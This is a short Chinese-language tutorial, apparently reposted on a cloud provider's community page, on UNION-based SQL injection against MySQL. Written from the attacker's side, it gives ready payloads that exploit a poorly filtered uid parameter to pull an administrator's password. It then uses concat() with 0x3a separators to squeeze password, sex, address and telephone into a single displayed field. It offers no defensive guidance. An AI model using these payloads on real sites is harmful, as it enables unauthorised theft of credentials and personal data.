Mysql資料庫使用concat函數執行SQL注入查詢_Mysql

來源:互聯網
上載者:User

SQL注入語句有時候會使用替換查詢技術,就是讓原有的查詢語句查不到結果出錯,而讓自己構造的查詢語句執行,並把執行結果代替原有查詢語句查詢結果顯示出來。

例如:原本查詢語句是

複製代碼 代碼如下:

select username,email,content from test_table where user_id=uid;

其中uid,是使用者輸入的。正常顯示結果會出現使用者名稱,使用者郵箱,使用者留言內容。但是如果uid過濾不嚴,我們可以構造如下SQL語句來獲得任意資料表資訊。
複製代碼 代碼如下:

uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;

實際執行就是
複製代碼 代碼如下:

select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理員id;

其中顯示正常使用者emai的地方,變成了顯示管理員的密碼了。

但是,往往事情並不是這麼簡單,首先要找到漏洞,其次構造這種語句時候要考慮各個欄位的類型,讓int或samllint類型的欄位顯示varchar顯然不合適。最後就是本文要說的。

如果出現問題的SQL語句只有一個或兩個欄位怎麼辦,我們想知道很多東西,一兩個欄位太少了,遠遠不能滿足我們的需要。那麼我們可以使用concat函數。

concat函數本來是這樣用的SELECT CONCAT('My', 'S', 'QL');執行結果是'MySQL'。也就是串連作用的。我們利用它來為我們服務,

複製代碼 代碼如下:

uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;

這個語句實際查詢了六個欄位,但是顯示的時候,把password,sex,address,telephone等欄位合在一起,顯示在原本應該顯示email的地方。

更好的方法:中間用分隔字元分開:

複製代碼 代碼如下:

uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;

其中0×3a是“:”的十六進 制形式。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.